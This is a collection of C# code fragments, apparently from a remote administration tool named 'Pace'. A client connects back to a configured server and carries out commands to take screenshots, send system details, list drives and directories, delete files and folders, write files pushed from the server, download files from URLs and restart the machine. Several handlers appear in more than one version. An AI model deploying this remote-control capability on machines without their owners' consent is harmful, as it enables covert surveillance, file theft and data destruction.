public static void HandleGetDirectory(PaceClient client, IPacket packet)
{
var getDirectoryPacket = (GetDirectoryRequestPacket)packet;
var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path;
var directory = new DirectoryInfo(path);
if (!directory.Exists)
{
return;
}
var folders = FileExplorer.GetDirectories(path);
var files = FileExplorer.GetFiles(path);
var response = new GetDirectoryResponsePacket
{
Name = directory.Name,
Path = path,
Folders = folders.Select(folder => folder.Name).ToArray(),
Files = files.Select(file => file.Name).ToArray(),
FileSizes = files.Select(file => file.Size).ToArray()
};
client.SendPacket(response);
}
public static void HandleGetDirectory(PaceClient client, IPacket packet)
{
var getDirectoryPacket = (GetDirectoryRequestPacket)packet;
var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path;
GetDirectoryFileEntries(client, path);
}
public static void HandleGetDrives(PaceClient client, IPacket packet)
{
var drives = DriveInfo.GetDrives();
var driveNames = drives.Select(drive => drive.Name).ToArray();
var response = new GetDrivesResponsePacket(driveNames);
client.SendPacket(response);
}
public static void HandleTakeScreenshot(PaceClient client, IPacket packet)
{
var screenshot = ScreenCapture.Take();
byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);
var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);
client.SendPacket(screenshotResponsePacket);
}
public void HandlePacket(PaceClient client, IPacket packet)
{
foreach (var action in Handlers)
{
if (action.Key.Equals(packet.GetType()))
{
action.Value(client, packet);
return;
}
}
}
private void Run()
{
client = new PaceClient();
client.PacketReceived += Client_PacketReceived;
client.PacketSent += Client_PacketSent;
var packetChannel = new PacketChannel();
packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart);
packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile);
TryConnect();
while (isConnected)
{
try
{
var packet = client.ReadPacket();
packetChannel.HandlePacket(client, packet);
}
catch (IOException ex)
{
if (ex.InnerException == null)
{
throw ex;
}
if (ex.InnerException.GetType() == typeof(SocketException))
{
var socketException = (ex.InnerException as SocketException);
if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
{
PrintDebug("Disconnected!");
TryConnect();
}
}
}
}
Console.ReadKey();
}
public static void HandleGetSystemInfo(PaceClient client, IPacket packet)
{
var systemInfo = SystemInformation.Get();
var addressInfo = client.LocalAddress.Split(':');
var infoPacket = new GetSystemInfoResponsePacket(
ClientConfiguration.Identifier,
addressInfo[0],
int.Parse(addressInfo[1]),
systemInfo.UserName,
systemInfo.ComputerName,
systemInfo.OperatingSystem
);
client.SendPacket(infoPacket);
}
public static void HandleDeleteFile(PaceClient client, IPacket packet)
{
var deleteFilePacket = (DeleteFileRequestPacket)packet;
var directory = Directory.GetParent(deleteFilePacket.Path).FullName;
if (Directory.Exists(deleteFilePacket.Path))
{
Directory.Delete(deleteFilePacket.Path, true);
}
else if (File.Exists(deleteFilePacket.Path))
{
File.Delete(deleteFilePacket.Path);
}
GetDirectoryFileEntries(client, directory);
}
private void HandleClientConnection()
{
while (Listening)
{
var client = new PaceClient(listener.AcceptTcpClient());
OnClientConnected(client);
Task.Factory.StartNew(() =>
{
bool isConnected = true;
while (isConnected)
{
try
{
var packet = client.ReadPacket();
OnPacketReceived(client, packet);
}
catch (IOException ex)
{
if (ex.InnerException == null)
{
throw ex;
}
if (ex.InnerException.GetType() == typeof(SocketException))
{
var socketException = (ex.InnerException as SocketException);
if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
{
OnClientDisconnected(client);
isConnected = false;
}
}
}
}
});
}
listener.Stop();
}
private static void GetDirectoryFileEntries(PaceClient client, string path)
{
try
{
var directory = new DirectoryInfo(path);
if (!directory.Exists)
{
return;
}
var folders = FileExplorer.GetDirectories(path);
var files = FileExplorer.GetFiles(path);
var response = new GetDirectoryResponsePacket
{
Name = directory.Name,
Path = path,
Folders = folders.Select(folder => folder.Name).ToArray(),
Files = files.Select(file => file.Name).ToArray(),
FileSizes = files.Select(file => file.Size).ToArray()
};
client.SendPacket(response);
}
catch (SecurityException)
{
NotifyStatus(client, "Insufficient privileges.");
}
catch (ArgumentException)
{
NotifyStatus(client, "Invalid path.");
}
catch (Exception)
{
NotifyStatus(client, "An unexpected error has occured.");
}
}
public static void HandleDeleteFile(PaceClient client, IPacket packet)
{
var deleteFilePacket = (DeleteFileRequestPacket)packet;
if (Directory.Exists(deleteFilePacket.File))
{
Directory.Delete(deleteFilePacket.File);
}
else if (File.Exists(deleteFilePacket.File))
{
File.Delete(deleteFilePacket.File);
}
var folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName);
var files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName);
client.SendPacket(new GetDirectoryResponsePacket
{
Folders = folders.Select(folder => folder.Name).ToArray(),
Files = files.Select(file => file.Name).ToArray(),
FileSizes = files.Select(file => file.Size).ToArray()
});
}
protected void OnPacketReceived(PaceClient client, IPacket packet)
{
PacketReceived?.Invoke(this, new PacketEventArgs(client, packet));
PacketChannel.HandlePacket(packet);
}
protected void OnClientDisconnected(PaceClient client)
{
ConnectedClients.Remove(client);
ClientDisconnected?.Invoke(this, new ClientEventArgs(client));
}
protected void OnClientConnected(PaceClient client)
{
ConnectedClients.Add(client);
ClientConnected?.Invoke(this, new ClientEventArgs(client));
}
private void Run()
{
client = new PaceClient();
client.PacketReceived += Client_PacketReceived;
client.PacketSent += Client_PacketSent;
PrintDebug("Waiting for Server...");
while (!client.TcpClient.Connected)
{
try
{
client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port);
}
catch (Exception)
{
continue;
}
}
PrintDebug("Connected!");
var packetChannel = new PacketChannel();
packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) =>
{
var systemInfo = SystemInformation.Get();
var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':');
var infoPacket = new GetSystemInfoResponsePacket(
ClientConfiguration.Identifier,
clientAddress[0],
int.Parse(clientAddress[1]),
systemInfo.UserName,
systemInfo.ComputerName,
systemInfo.OperatingSystem
);
client.SendPacket(infoPacket);
});
packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) =>
{
var downloadFilePacket = (DownloadFileRequestPacket)packet;
new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
});
packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) =>
{
var screenshot = ScreenCapture.CaptureScreen();
byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);
var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);
client.SendPacket(screenshotResponsePacket);
});
packetChannel.RegisterHandler <SendFileRequestPacket>((packet) =>
{
var sendFilePacket = (SendFileRequestPacket)packet;
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
});
packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) =>
{
var getDirectoryPacket = (GetDirectoryRequestPacket)packet;
var directory = new DirectoryInfo(getDirectoryPacket.Path);
if (!directory.Exists)
{
return;
}
var response = new GetDirectoryResponsePacket
{
Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path),
Files = FileExplorer.GetFiles(getDirectoryPacket.Path)
};
client.SendPacket(response);
});
packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) =>
{
var deleteFilePacket = (DeleteFileRequestPacket)packet;
PrintDebug($"Requested deletion of file {deleteFilePacket.File}");
if (Directory.Exists(deleteFilePacket.File))
{
Directory.Delete(deleteFilePacket.File);
}
else if (File.Exists(deleteFilePacket.File))
{
File.Delete(deleteFilePacket.File);
}
client.SendPacket(new GetDirectoryResponsePacket
{
Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName),
Files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName)
});
});
isRunning = true;
while (isRunning)
{
try
{
var packet = client.ReadPacket();
packetChannel.HandlePacket(packet);
}
catch (IOException ex)
{
if (ex.InnerException == null)
{
throw ex;
}
if (ex.InnerException.GetType() == typeof(SocketException))
{
var socketException = (ex.InnerException as SocketException);
if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
{
PrintDebug("Disconnected!");
}
}
isRunning = false;
}
}
Console.ReadKey();
}
public CommandShell(PaceClient client)
{
this.client = client;
}
public PacketEventArgs(PaceClient client, IPacket packet)
{
Packet = packet;
Client = client;
}
public static void HandleSendFile(PaceClient client, IPacket packet)
{
var sendFilePacket = (SendFileRequestPacket)packet;
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
}
public ClientEventArgs(PaceClient client)
{
Client = client;
}
public static void HandleRestart(PaceClient client, IPacket packet)
{
Process.Start("shutdown.exe", "-r -t 00");
}
public static void HandleDownloadFile(PaceClient client, IPacket packet)
{
var downloadFilePacket = (DownloadFileRequestPacket)packet;
new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
}
private static void NotifyStatus(PaceClient client, string statusMessage)
{
client.SendPacket(new NotifyStatusPacket(statusMessage));
}
